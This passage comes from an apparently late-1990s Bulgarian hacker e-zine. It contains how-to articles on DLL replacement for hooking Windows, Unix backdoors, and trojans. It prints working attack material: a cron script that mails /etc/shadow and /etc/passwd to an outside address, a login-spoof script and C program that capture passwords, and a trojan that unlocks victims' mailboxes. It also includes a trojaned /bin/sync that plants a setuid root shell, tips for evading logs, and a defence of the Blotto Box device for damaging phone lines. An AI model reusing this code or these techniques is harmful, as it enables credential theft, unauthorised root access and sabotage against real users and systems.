programa ot tasklista, nqma smisul ot vxd.º º(B.Red: Ako iskate da kradete CC, Telnet accounti, paroli za kakwoto i daº ºbilo Terminalni sessi ili prosto iskate da si naprawite sobstwen Backº ºOrifice se zamislete nad wyprosa za pisane na VxD). º º º º V. Cachirane na .DLL º º º º Da cache-irate .DLL sywsem ne znachi da go pyhnete w cache-a ili da siº ºnapishete cache .DLL. Stawa duma za podmiana na nqkoj systemen .DLLº º(naprimer msmixmgr.dll, rasapi.dll, ver.dll), kojto se zarevda priº ºstartirane na windows s was sobstwen, kojto da se dyrvi kato nego. Za celtaº ºtrqba da naprawite slednite nesta: º º º º 1) Dumpwate .DLL-a i wivdate kakwi sa exportnatite funkcii (move da goº ºnaprawite s kojto i da e sourcer). Trqbwa da se porowite w helpa za daº ºrazberete parametrite ili prosto da widite kakwo se predawa na tiq funkcii. º º º º 2) Pishete sobstwen .DLL kojto da e 16/32-bitow w syotwetstwie sº ºoriginalniq. Washiqt .DLL trqbwa da zarevda originalniq .DLL, da sydyrvaº ºexportnati systite funkcii, kato originala i da wrysta/predawa tochniteº ºparametri. º º º º 3) Pyhate wsichki hook, send i t.n. proceduri w .DLL-a (wnimawajte da neº ºpuskate nesto po 100 pyti pri wseki DLL_PROCESS_ATTACH) i se staraete daº ºne puhate mnogo bugowe, 'stoto chowek kato widi che mu se rise-wat razniº ºexception-i prez 5 minuti wednaga ste si preinstalira Windowsa. º º º º 4) Pishete instalirasta programa, koqto ste trqbwa da raboti na niakolkoº ºniwa, tyj kato zamqnata na originalniq s menteto-DLL trqbwa da stane poº ºwremeto, kogato ne e wkliuchen windows-a. Zasto li ? Mnogo prosto - wsekiº ºprocess, kojto e pusnat zapushwa awtomatichno file-a kojto mu se wodi host iº ºdori da se schupite ot napyni ne movete da zapishete nisto po nego. º º º º VI. Prihwastane na WH_CREATEWND º º º º Ako ne ste chuwali za SetWindowsHookEx prosto si hwanete MSHelp-a i goº ºiziaste oste sega, ako imate kakwito i da bilo namereniq da pishete kakwitoº ºi da bilo troyanski kone. º º Za da prihwanete WH_CREATEWND msg-to trqbwa da slovite WH_CBT Hook,º ºkojto da debne za poiawiawaneto na CTRL-ALT-DEL dialoga. Protiwno na wsichkiº ºochakwania toj si e sywsem obiknowen prozorec i move da byde byrnikan kaktoº ºwi hareswa (Wivte Norton CrashGuard, kojto si slaga Unfreeze buton wywº ºwyprosniq DIALOG). º º Ta taka prosto fastate i pishete edna programa, koqto da wi wyrneº ºwsichko sto se poqwiwa w toia djam i se usestate za towa kakwo e ID-to naº ºpoleto s procesite. Move da probwate i s nqkoj ResourceWorkshopº º(Borland-skiq WinSight dori i ne si pomislq da fane msg-tata), no ste trqbwaº ºda porowite dosta .DLL-i, no i ne znam, dali toq dialog go ima exportnatº ºwoobste nqkyde (wse pak e dobre da se nasochite kym SHELL.DLL, KERNEL32.DLLº ºi dr. podobni). Fastate si go pri WH_PAINT i ne mu dawate da risuwaº ºprostotii. º º º º VII. Izwodi º º º º Ami towa e zasega. Sigurno ima i drugi nachini, no i tezi spored menº ºwurshat rabota. Wnimawaite kakwi gi wurshite :-) º º º º P.S. Zashto ne puskam source: purwonachalno imah namerenie da pusnaº ºpulen source sus primeri i za driverite, i za RegisteServiceProcess. No EXoº ºme razubedi - towa e mnogo delikatna tema, a sum siguren che shte se namerqtº ºmnogo lameri, koito shte go prochetat i sled towa shte prawqt gluposti :-(º ºAko movete da si go napishete sami, nadqwam se che shte movete i da goº ºizpolzwate "kakto trqbwa". Ideite gi ima - ostawa samo coding... º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Backdoors in U**x Systems By: ManiaX Killerian º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ º º º º º ( B.A. predi da pochna : Ajde ne samo az i kay da pishem tehnicheski º ºstatii po linux, unix i IP,a ? ) º º ( B.Red: i az towa wikam... ) º º º º 1. Shto e to backdoor i ima li to pochva u nas :) º º º º T.nar. backdoors sa programi, davashti vi nepozvolen iº ºne-mnogo-lesno-otkirvaem dostup do nqkoq sistema. Bivat nqkolko tipa -º ºpostoqnni, raboteshti ot vreme na vreme i offline. Sushto taka se delqt naº ºnqkolko vida sprqmo protokola, kojto polzvat - naj-chesto TCP/IP, ne tolkovaº ºchesto UDP/IP i chisto IP, i edna malka chast polzvat SMTP i ICMP/IP. º º(B.Red: pochwa imat nawsqkude, deto move da gi poseete...) º º º º 2. Postoqnno raboteshti backdoors (on-demand) º º º º Tozi tip backdoors sa naj-chesto izpolzvani po prostata prichina, che saº ºna-burzi (ne se nalaga izchakvane i se rbaoti kato on-line sesiq). Sprqmoº ºprotokola kojto izpolzvat ,bivat : º º º º 2.1. Izpolzvashti ICMP, ili loki. º º º º Ponezhe tova mi e lubimo, shto zapochna s nego. Naj-prostoto mu opisanieº ºe 'Telnet prez pingove' . loki izpolzva ICMP ping request i ICMP ping replyº ºza da predava i priema trafika na telnet sesiqta. Predimstvoto mu e, che eº ºpochti neotkrivaem (mozhe da bude otkrit sus mnogo tcpdump-vane ili s psº º-auxw i mnogo dobro poznavane na procesite). Raboti na Solaris, na linux iº ºBSD, kato ima malko problemi za koe kak trqbva da se kompilira (opisanietoº ºse namira v phrack 49, a source - v phrack 51, dostupni ot www.phack.com,º ºftp.phrack.com ili ftp.fc.net/pub/phrack). º º Nedostatucite mu ne sa mnogo - iska svoj sobstven klient, ne poddurzhaº ºnikakuv authentication (nqma login i parola), ne mozhe da se polzva naº ºwindows (NAAAAAAAA! :) ), no za smetka na tova source e dostupen da seº ºpopravqt scihkite mu nedostatuci (e, bez purviq). Poddurzha nqkolko metodaº ºza kriptirane na vruzkata, kato blowfish, RSA ili prosto XOR :). Pri moiteº ºexperimenti se durzha mnogo dobre, edinstveniq mu problem beshe che neº ºvednuzh ne uceli kade e kraq na izhoda na komandata (netstat). Sushto takaº ºne stava za polzvane na interaktivni procesi kato vi, joe, tcpdump i t.n. (iº ºtova mozhe da se popravi s burnikane v source ....) º º º º 2.2. Izpolzvashti TCP/IP ........ º º º º Tozi tip e naj-razprostranen, mozhe bi zashtoto e naj-prost zaº ºimplementaciq, bachka na vsqkade, mozhe da se polzva ot prost telnetº ºklient (v povecheto sluchai), t.e. mozhe i vie, neshtastni winboze useri daº ºse poradvate malko :))) . Naj-prostiq nachin e da se slozhi oshte edinº ºin.telnetd na port 666 ili neshto takova - tova shte vi pozvolqva login-iº ºpovsqko vreme na port 666 dazhe i trafika na normalniq 23-ti da e zabranenº º(a mozhe da se pusne i sshd (t.e. SecureShellDaemon) na nqkoj stranen port).º ºSushto taka, chesto sreshtan sluchaj e 'magik' parola, koqto puskqa user-aº ºnezavisimo kakuv login e vuvel (koeto se pravi s modifikacii v /bin/login ).º ºA mozhete da napravite neshto po-hitro - naprimer da smenite sednmail-a sº ºnqkoq stara versiq, poddurzhashta komandata 'wiz' (koqto vi puska v rootskiº ºshell ... :)), i da promenite samo nomera na versiqta ..... º º Po princip takiva neshta se otkrivat s 'netstat -a |grep LISTEN', no vseº ºpak si struva da se probva(p.s. tova e NAJ-DOBRIQ nachin za portscan-º ºlogin i netstat -a |grep LISTEN). Sushtestvuvat i po-umni izpulneniq, katoº ºnaprimer ACK-only telnet, izpolzvan zad firewalls - ako firewall-a spiraº ºvishcki incoming TCP vruzki do hostovete inside (t.e. paketite, koito saº ºnegotiation za vruzkata sa s vdignat SYN flag), to se prashta paket bezº ºSYN, samo s ACK flag, sled koeto daemon-a otsreshta osushtestvqva vruzkata iº ºvoila... (B.red: kojto ne znae kakwo e SYN i ACK da si nameri RFC-to sº ºopisanieto na IP-headera). º º ( maj i mene me goni paranoia - pisha teq raboti i postoqnno proverqvamº ºda ne bi da gi ima na servera mi :) ) º º º º 2.3 Izpolzvashti UDP/IP º º º º Edinstveniq backdoor kojto moga da se setq tuka e NFS - Network Fileº ºSystem, kojto pozvolqva da si mountvate chuzhdi diskove, i pri po-doburº ºkasmet (t.e. ako sa read-write, da si pishete po tqh kvoto si iskate). Edinº ºot naj-dobrite takiva backdoors e sledniqt : dobavqte v /etc/exportsº ºslednoto : º º / (rw) º º koeto na nash ezik znachi, che glavnata dir. e dostupna za vseki kojtoº ºiska da se bazika s neq (ako iskate da pusnete rm -rf ,ne go pravete prezº ºnfs - adski bavno e... ) º º º º 3. Ne tolkova postoqnni backdoors - offline i takiva ,raboteshti vº ºopredeleno vreme º º º º 3.1. Offline backdoors º º º º Tova sa osnovno razni hitrinki kato naprimer promenena passwd komanda -º ºda subira nqkade parolite v plaintext i da gi prashta vsqka vecher v 12:10,º ºdobavka v crontaba, koqto mail-va /etc/shadow i /etc/passwd vseki den. Iliº ºtakava, koqto gi kopira v /pub s 666 (ne, ne The Number Of the beast, aº ºrw-rw-rw-) atributi i vuobshte vsqkakvi podobni gadosti... Ili puk opredelenº ºadres s procmail, na kojto se prashta mail s komanda i sled tova se vrushtaº ºmail s rezultata ot komandata (tova mozhe da bude zamaskirano kato mail odº ºnesushtestvuvasht adres, a otgovora da sudurha error i t.n.). Vuobshte tukaº ºuzmozhnostite sa mnogo, i tochno tozi tip lesno se slaga chrez mail-vane naº ºneshto n aprimer prashtate super programa, koqto vushchnost e slednoto: º º º º #!/bin/sh º º crontab -l >/tmp/NeIzpozemoIme º º echo "0 0 * * * $home/.hack" >>/tmp/NeIzpozvaemoIme º º crontab /tmp/NeIzpolzvaemoIme º º cp zloto .hack º º sleep 2 º º echo Segmentation fault º º º º Tova e to, prosto kato basic :) a puk zloto predstavlqva naprimer: º º º º #!/bin/sh º º cat /etc/passwd /etc/shadow |mail nqkoj_losh_batko@hotmail.com º º º º 64I da se radvate na zhivota ...... º º º º 3.2. Dejstvashti v opredeleno vreme º º º º Tozi nachin se izpolzva samo zad mnogo dobri firewall-i koito logvat iº ºsledqt vsqka tcp vruzka (e te sa naistina MNOGO malko). Predstavlqvatº ºprograma, koqto na opredeleno vreme se connectva do vas, vie podavateº ºkomandi i tq gi izpulnqva - vse edno telnet naobratno. Sushto kato loki-toº ºiska sobstven klient, i ne e tolkova udobno, ama ako nqma drug nachin..... º º º º Ami tolkoz ot mene :)))) To pochti SUX,ama kojto mozhe da go napisheº ºpo-dobre, prosto da go naprawi. º º º º (B.Red: naistina SUX, no kojto malko pone se e zanimawal s towa, t.e. neº ºe bash lamer ste go chatne ot ras. Prosto ManiaX e napisal wsichko kato planº ºkonspekt...) º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Some Updates to Article #2/Issue #12 By: IronCode º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÍÍÍÍÍÄ º º º º Da, moiata statia (Kratkoto rukovodstvo po hacking), koiato se poiaviº ºvuv PHREEDOM 12 i be posreshtnata dosta dobre, veche ima nov edition... Etoº ºi izvadkite na tekushtite promeni v neia (pulna versia skoro shte budeº ºpostavena v Web na angliiski i bulgarski... adresa - sled kato ia postavia).º º No predi da pristupim kum statiata, bih iskal da oprovergaia tvurdenietoº ºot PHREEDOM 15 (ne znam koi go e pisal, tui kato ne si pishe), che Blottoº ºBox (tova e pravilnoto naimenovanie) ne raboti. Naprotiv - raboti! Ne sum goº ºprobval lichno, no greshish po otnoshenie dve neshta - predpazitelite iº ºvoltazha. º º V originalnite shemi na Blotto Box ne se izpolzvat 220 volta, ami malkoº ºpo-visoko naprezhenie - okolo 1000 V. Pri 1000 volta predpazitelite naº ºcentralata naistina gurmiat, no stava i edno po-interesno neshto - narichaº ºse voltova duga - predpolagam znaesh kakvo znachi. Znachi, che doriº ºpredpazitelite da izgurmiat, toka si minava prez tiah - prosto stava probivº ºot visokoto naprezhenie. Sus ili bez bushonche pri takova naprezhenie tokaº ºdostiga do centralata. º º I vse pak, Blotto Box ne deistva tochno taka... Da, naprezhenie dostigaº ºdo centralata, no to e osnovnia iztochnik na povredite (makar che i toº ºprichiniava malko). Pri takova naprezhenie, pusnato v razpredelitelna kutia,º ºvsichki telefoni v dosta goliam radius zapochvat da zvuniat kato poburkani.º ºKogato chovek si vdigne telefona, mozhe i da se "elektrificira" leko -º ºzatova i Blotto Box e opasnichka. º º Ako obache naprezhenieto e dostatuchno nisko, che da ne spukaº ºpredpazitelite, predstavi si kakvo shte stane v centralata, kogato 700º ºchoveka si vdignat ednovremenno telefonite... Stava takuv hubav razhod naº ºelektroenergia, che centralata pak si otiva... º º º º Ta taka, a sega da se vurnem na statiata: º º º º +++++ 3.0. SIGURNOST +++++ º º º º Predi da pristupite direktno kum hackvaneto, triabva da se pogrizhite zaº ºsigurnostta si. Razbira se, sledvaneto samo na suvetite po-dolu ne viº ºgarantira pochti nishto. Vinagi se staraite da ostaviate vuzmozhno po-malkoº ºsledi. º º Vinagi kogato se logvate v nechia sistema triabva da se informirate koiº ºe vkliuchen, koi e aktiven, kakvi procesi vurviat na backgrounda, kakto iº ºprocesite, prinadlezhashti na root-a. Tova se pravi sus slednite komandiº º(izpulneni posledovatelno): º º º º who -u º º ps -ef º º ps -u root º º º º Osven tova upotrebiavaite i slednoto: º º º º find / -name "*log*" -print º º º º Tova izrezhda vsichki failove, sudurzhashti "log" v imeto si. Akoº ºnamerite proces, koito zapisva kakvo pravite, ili stranen log fail,º ºpromenete go kolkoto se mozhe po-burzo (ako mozhete, razbira se). º º Osven tova, v sluchai, che niakoi vi nabliudava, ne izpolzvaite direktnoº ºkomandata "cat /etc/passwd" (vizh po-dolu - 3.2. Cracking). Vmesto neiaº ºizpolzvaite "cat < /etc/passwd"; taka ako niakoi pusne ps, shte vidi vº ºspisuka s procesite "cat", a ne "cat /etc/passwd". º º º º +++++ 3.1.2. SETUID SHELLS +++++ º º º º V Unix sushtestvuva edin flag na failovete, koito se naricha Setuid bit.º ºNormalno tozi bit e 0, t.e. setuid ne se izpolzva. Kogato obache setuid eº ºvkliuchen, vseki, koito izpulni suotvetnia fail (govorim za izpulnimiº ºfailove), pridobiva id-to na sobstvenika na faila. T.e., ako programata seº ºpritezhava ot potrebitelia john s UID (User ID) 437, kogato ia pusnete,º ºveche i vie shte imate UID 437. Sled kato procesa prikliuchi rabotata si, seº ºvuzstanoviava staroto vi UID. º º Tova e napraveno, za da se dade vuzmozhnost na programite da rabotiatº ºsus zashtiteni failove. Po princip, kogato pusnete dadena programa, tiaº ºpridobiva vashite prava i raboti s vasheto UID. Ako obache stane nuzhda daº ºse otvori baza danni, prinadlezhashta na sobstvenika na programata, koiatoº ºne triabva da se pipa ot drugite useri (naprimer s rezhim na dostup 600), toº ºprogramata bi bila v bezizhodica. I eto tuk idva na pomosht setuid bit-a.º ºPuskate programata, tia pridobiva UID (i suotvetno pravata za dostup) naº ºsobstvenika si, raboti si s bazata danni, sled koeto pri prikliuchvaneto iº ºse vuzstanoviava staroto vi UID, taka che vie ste si vie. º º I taka, predstavete si, che niakude ima fail s vdignat setuid bit, koitoº ºvie imate pravo da izpulniavate i modificirate (t.e. imate dostup rwx). Vº ºtakuv sluchai, kopiraite /bin/sh varhu nego, i shte imate setuid root shell.º ºSamo posle vurnete kakvoto e bilo tam obratno, za da ne se sukrati prestoiatº ºvi v sistemata. º º Osven tova, ako namerite nestandartni setuid programi, poigraite si sº ºtiah, nikoi ne znae kakvo mozhe da im napravi ^| poniakoga :-) Taka seº ºotkrivat exploiti. º º Komandata, koiato shte vi pokazhe (extended list) vsichki failove, koitoº ºimat setuid bit, e: º º º º find / -perm -4000 -exec /bin/ls -lad {} ";" º º º º Uspeh! º º º º +++++ 3.1.3. TROIANSKI KONE / SPOOFS +++++ º º º º Troianskite kone sa chast ot kod ili shell scriptove, koito obiknovenoº ºpoemat roliata na chesto upotrebiavana pomoshtna funkcia, no kogato seº ºaktivirat ot nishto nepodozirasht potrebitel, izvurshvat niakakviº ºnepodozirani deinosti za narushitelia. º º Spoof osnovno se naricha izmama, koiato kara nishto nepodozirashtataº ºzhertva da viarva, che maskirana kompiutarna funkcia e vsushtnost istinskaº ºsistemna operacia. º º º º +++++ 3.1.3.1. IZPOLZVANE NA LIPSATA NA PATH +++++ º º º º Sistemnata promenliva PATH ukazva spisuk ot direktorii, koito seº ºpretursvat kogato daden fail se poiska ot proces. Redut na tova pretursvaneº ºe zadaden ot posledovatelnostta na izredenite direktorii v PATH. Taziº ºpromenliva se ustanoviava pri logvaneto na potrebitelia i se naglasia vuvº ºfailovete .profile i .login. º º Ako daden potrebitel slozhi tekushtata direktoria kato purvi element vº ºPATH, togava programite ot tekushtata direktoria shte budat puskani purvi.º ºProgrami sus sushtoto ime v drugi direktorii shte budat ignorirani. Vuprekiº ºdostuput do failove i direktorii se ulesniava s promenliva PATH ustanovenaº ºpo tozi nachin, toi mozhe da izlozhi potrebitelia na opasnostta otº ºsushtestvuvashti Troianski kone. º º Predstavete si naprimer, che Troianski kon, podoben na pomoshtnataº ºprograma cat, sudurzha instrukcii, koito davat prava za dostup naº ºnarushitelia. Falshiviat cat e postaven v publichna direktoria /usr/his,º ºkudeto potrebitelia chesto raboti. Sega ako promenlivata PATH na toziº ºpotrebitel e naglasena s tekushtata direktoria v nachaloto, i toi vuvedeº ºkomandata cat dokato e v direktoriata /usr/his, shte bude startiranº ºfalshivia cat ot /usr/his, a ne normalnia, koito se namira v /bin. º º º º +++++ 3.1.3.2. LOGIN SPOOF +++++ º º º º Predstavete si, che root potrebitel za malko se e mahnal ot terminala siº º(naprimer na kompiutarno izlozhenie). Lesno mozhete da instalirate falshivº ºlogin proces (spoof): º º º º echo -n "login:" º º read X º º stty -echo º º echo -n "password:" º º read Y º º echo "" º º stty echo º º echo %X%Y|mail hackers@mail.com º º sleep 1 º º echo login incorrect º º stty 0>/dev/tty º º º º Falshivia terminalen login deistva vse edno potrebiteliat e vuvelº ºparolata si greshno, kato sushtevremenno vi meilva logina i parolata. Sledº ºtova predava upravlenieto na stty procesa, kato po tozi nachin ne ostaviaº ºsledi ot sushtestvuvaneto si. º º º º Drug nachin e da instalirate podoben script na terminal, koito mnogoº ºhora izpolzvat (naprimer v uchilishtna kompiutarna laboratoria). º º Kogato se logvate na tipichna Unix sistema, vizhdate neshto takova: º º º º IRIX (screw) º º º º login: screw º º password: º º º º I taka, pusnete slednata programa na suotvetnia terminal, i se mahnete.º ºNiakoi nishto nepodozirasht potrebitel shte doide i shte si napishe logina iº ºparolata. Te se zapisvat vuv vash fail, sled koeto se izvezhda "loginº ºincorrect" i potrebitelia shte bude pomolen da gi vuvede pak. Samo cheº ºtozi put tova e veche istinskata programa login, taka che vsichko shte mineº ºgladko. º º Instaliraite i kompiliraite na sistemata slednia fail (primernoº ºhorce.c), kato predvaritelno promenite purvite niakolko reda, za da mozheº ºfalshivia login da prilicha na normalnia: º º º º --- rezhi tuk --- rezhi tuk --- º º º º #define SYSTEM "\n\nIRIX (screw)\n\n" º º #define LOGIN "login:" º º #define PASSWORD "password:" º º #define WAIT 2 º º #define INCORRECT "login incorrect.\n" º º #define FILENAME "stuff" º º º º #include º º #include º º º º int stop(); º º º º main() º º { º º char name[10],password[10]; º º int i; º º FILE *fp,*fopen(); º º º º signal(SIGINT,stop); º º initscr(); º º printf(SYSTEM); º º printf(LOGIN); º º scanf("%[^\n]",name); º º getchar(); º º noecho(); º º printf(PASSWORD); º º scanf("%[^\n]",password); º º printf("\n"); º º getchar(); º º echo(); º º sleep(WAIT); º º º º if((fp=fopen(FILENAME,"a"))!=NULL) º º { º º fprintf(fp,"login %s has password %s\n",name,password); º º fclose(fp); º º } º º º º printf(INCORRECT); º º endwin(); º º } º º º º stop() º º { º º endwin(); º º exit(0); º º } º º º º --- rezhi tuk --- rezhi tuk --- º º º º Ta, kakto kazah, instalirate gornia sors i go konfigurirate taka, che daº ºizglezhda suvsem kato login posledovatelnostta na suotvetnata Unix sistema.º ºKompilira se po slednia nachin: º º º º cc horse.c -lcurses -ltermcap º º mv a.out horse º º º º Sega veche imate rabotesht obekten kod vuv fail, narechen "horse".º ºPusnete go, i ako ne izglezhda kato login posledovatelnostta na sistemata,º ºredaktiraite otnovo horce.c i go prekompiliraite. Kogato ste gotovi daº ºupotrebite programata, suzdaite nov fail i go narechete "trap" ili kakvoto iº ºda e. Trap triabva da sudursha slednite dve komandi: º º º º horse (tova startira vashata programa) º º login (tova startira istinskata programa login) º º º º Za da izpulnite "trap", napishete: º º º º source trap º º º º i se otdalechete ot terminala... º º º º Sled kato ste go puskali uspeshtno niakolko puti, proverete si faila,º ºnarechen "stuff" (ili kakto ste reshili da se kazva). Toi shte izglezhdaº ºtaka: º º º º user john has password secret º º user mary has password smegma º º º º i taka natatuk. º º º º Zapishete si parolite, i iztriite faila (mozhe da bude dostaº ºulichavasht, ako go vidi superusera. º º º º +++++ 3.1.3.3. TRIVIALNO SU +++++ º º º º Znaete, che sus su mozhete da se lognete v koito si iskate account, akoº ºznaete parolata mu ili ako ste root. Vse oshte ima dosta goliam broiº ºsistemi, v koito ima accounti s UID 0 (root), bez paroli i s rsh (zabraneniº ºsa za telnet, da, no chrez su)... Prosto se postaraite sled tova da iztrieteº ºsvoite danni ot /usr/adm/sulog. º º º º +++++ 3.1.3.4. CHETENE NA CHUZHDI FAILOVE +++++ º º º º Kogato niakoi pusne programa, toi e sobstvenik na suzdadenia procesº º(vizh po-gore - setuid shells) i tazi programa mozhe da pravi vsichko, koetoº ºusera bi mogul da pravi, kato naprimer da trie failove ili da praviº ºfailovete v direktoriata si dostupni za chetene za vsichki. º º Da rechem, che iskate da prochetete faila mbox, koito vseki Unixº ºpotrebitel ima v sobstvenata si home direktoria, kogato si zapisva starataº ºposhta. Eto programka, koiato otkliuchva suotvetnia fail, shtom potrebiteliaº ºia pusne (t.e. otkliuchva faila na potrebitelia, koito ia pusne): º º º º --- rezhi tuk --- rezhi tuk --- º º #include º º º º struct passwd *getpwnam(name); º º struct passwd *p; º º char buf[255]; º º º º main() º º { º º p=getpwnam(getlogin()); º º sprintf(buf,"%s/%s",p->pw_dir,"mbox"); º º if(access(buf,0)>-1) º º { º º sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); º º system(buf); º º } º º } º º --- rezhi tuk --- rezhi tuk --- º º º º I taka, vuprosut e: Kak da nakaram mishenata da pusne programata, koiatoº ºe v moiata direktoria? º º Ako sistemata, na koiato ste v momenta, ima neshto za public-messagesº º("msgs"), tuk mozhete da reklamirate programata si. Slozhete gornia kod vº ºdruga programa - namerete pomoshtna programa ili igra v niakoe spisanie katoº ºUNIX WORLD i ia modificiraite da pravi gornoto predi sushtinskia si kod.º ºTaka che ako namerite programa za igra na morski shah i ste ia modificiraliº ºda otkliuchva mbox-ovete na tozi, koito ia pusne, predi da igrae s negoº ºmorski shah, reklamiraite "Imam nova raboteshta programa za morski shahº ºkoiato vsichki triabva da opitate. V moiata direktoria e." ili kakvoto i daº ºe. Ako ne iskate da kazvate na vsichki v sistemata s publichno suobshtenie,º ºtogava prosto izpratete mail do suotvetnite hora, koito iskate da podmamite.º º Ako ne mozhete da namerite istinska programa za modificirane, prostoº ºvzemete gornata programa i dobavete slednia red mezhdu dvata simvola "}" priº ºkraia i: º º º º printf("Error opening tic-tac-toe data file. Sorry!\n"); º º º º Kogato programata se startira, shte izkara suobshtenie za greshka. º º Potrebiteliat shte si pomisli "Heh, toia pich ne mozhe da napishe ednaº ºprosta prosta programa za morski shah!", no koito se smee posleden se smeeº ºnai-dobre - veche mozhete da chetete poshtata mu. º º Ako ima specialen fail v direktoriata na potrebitelia, koito iskate daº ºprochetete, prosto zamenete v sorsa po-gore "mbox" s kakvoto poiskate, sledº ºkoeto go talk/write-nete, i se druzhte kato Joe Glupaka: "Toku-shto napisahº ºtazi programa, koiato se kazva super_star_wars, shte ia probvash li?". º º Osven tova, mozhete da modificirate niakoe sistemno utility, taka cheº ºchrez "system" da puska vashata programa... Izmislete neshto :-) º º º º +++++ 3.1.3.5. CHETENE NA ROOT FAILOVETE +++++ º º º º Chrez izpolzvaneto na po-gore opisanata tehnika (chetene na chuzhdiº ºfailove) mozhete da prochetete i niakoi failove, dostup do koito ima samoº ºroot-a. º º Napishete programa, koiato mozhete da nakarate mnogo hora da pusnat.º ºSlozhete tozi red niakude v neia: º º º º if(!strcmp(getlogin(),"root")) system("kakvoto poiskate"); º º º º Tova proveriava, za da vidi dali programata e startirana ot potrebitel sº ºime "root", i ako ustanovi, che e pusnata ot roota, izpulniava vsiaka shellº ºkomanda, koiato poiskate. Eto i niakoi predlozhenia: º º º º chmod 666 /etc/passwd º º º º Normalno vseki mozhe da chete passwd faila, naistina... No dali vsekiº ºmozhe da pishe v nego? ;-) º º º º chmod 666 /etc/group º º º º Chrez dobavianeto si v niakoi potrebitelski grupi mozhe da otvoriteº ºmnogo vrati pred sebe si... º º º º chmod 666 /etc/shadow º º º º Ha poznaite! Sistemata ima shadow, li? Niama takova neshto... º º º º chmod 666 /usr/lib/uucp/L.sys º º º º Ako sistemata e v uucp mrezha, potursete tozi fail. Toi sudurzhaº ºdialup-i i paroli za drugi sistemi v mrezhata, i normalno samo uucpº ºadministratora mozhe da go chete. Razberete koi pritezhava tozi fail, i goº ºnakaraite da pusne vasha programa, bez da podozira kakvo stava... º º º º rm /etc/passwd º º º º Napravite li tova, ne ochakvaite sistemata da raboti v blizkite niakolkoº ºdena. º º º º +++++ 3.1.3.6. TROIANSKI KON V /BIN +++++ º º º º Da predpolozhim, che ste uspeli po niakakuv nachin da se sdobiete sº ºparolata na accounta "bin" (naprimer chrez 3.2. Cracking, ili kakuvto i daº ºbil drug nachin. V takuv sluchai imate pulen kontrol nad sistemata. º º Pochti vsichko v /bin direktoriata e pritezhanie na potrebitelia bin,º ºtaka che mozhete da go modificirate kakto si iskate. Tui kato cronº ºperiodichno izpulniava niakolko programi ot ot imeto na root, kato naprimerº º/bin/sync, napishete slednata malka programka: º º º º --- rezhi tuk --- rezhi tuk --- º º main() º º { º º if((getuid()==0)||(getgid()==0)) º º { º º system("cp /bin/sh /tmp/sroot"); º º system("chmod 4777 /tmp/sroot"); º º } º º sync(); º º } º º --- rezhi tuk --- rezhi tuk --- º º º º Sled koeto napravete slednoto: º º cc file.c º º cp /bin/sync /tmp/sync.old º º mv a.out /bin/sync º º rm file.c º º Sega, vednaga, shtom cron izpulni /bin/sync, shte imate setuid shell v º º /tmp/sroot. Skriite go! º º º º º º (c) IronCode º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Writing W'9X Steal Horses - In Depth By: EXo º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÄ º º º º ÚÄúº º ÚÄÄ¿ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙú¿º º úÄ úÄÄÙ \úÙ (void). Preface a.k.a Intro Table ³º º ÙÄ¿ ³ I. Kakwo ni trebe ? Of ³º º ÀÙÚ¿ ³ II. Vertwi Contents ³º º ÀÄú /úÄ¿ 1. Prez IRC ³º º ÄÄÄÄÄÄÄ¿ÚÄÙ ³ 2. Direktno ³º º úÙ³úÄÄÙ 3. Po email Úú³º º ³ 3.1. News Groups ³ÚÙº º ³ 3.3. ot IRC... ³Àúº º ³ 3.4. Userlists ÀÄ¿º º ³ III. KOH (ne e kaliewa osnowa) ³º º ³ 1. Cached Passwords ³º º ³ 1.1. WNetGetCachedPassword ³º º ³ 1.2. WNetEnumCachedPasswords ³º º ³ 2. Hooks ³º º ³ 2.1. Hookwane na "Connect To" dialog prozoreca ³º º ³ 2.2. Hookwane na Pre/Post-dial prozorcite ³º º ³ 2.3. Hookwane na "Executing script..." prozoreca ³º º ÚÄú³ IV. Zakliuchenie ³º º ³úÄÙÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÚÙº º ÀÄÄÄÙ ú³ º º ú º º (void). Preface a.k.a. Intro º º º º Kakwo da kradem - pa to malko li nesta ima - kato se pochne ot accounti,º ºmine se prez creditni karti i se stigne chak do Telnet accounti. E, ne moveº ºw edna statiq da napisha kak da kradem kakwoto i da bilo, no ste probwam daº ºwi oswedomia za osnownite momenti/ulowki i t.n. pri kradeneto na accounti...º ºMove bi s KoRn trebe da se fanem i da coordinirame edin po-globalen tutorialº ºpo toia sluchaj, no taka da se kave sme otdalecheni na poweche ot 10 hopaº ºedin ot drug... º º º º I. Kakwo ni trebe ? º º º º Ne si mislete dave da gledate taia statia, ako niamate kakywto i da biloº ºopit s WinAPI i Hook-owe. Dobre e da se oprawiate i s osnownite C funkcii iº ºda imate pod ryka compilator, kojto da proizwevda .DLL i .EXE bez da puhaº ºkakwito i da bilo VCL, MFC i dr. podobni bozi. Oswen towa compiler-a eº ºnaj-dobre da move da 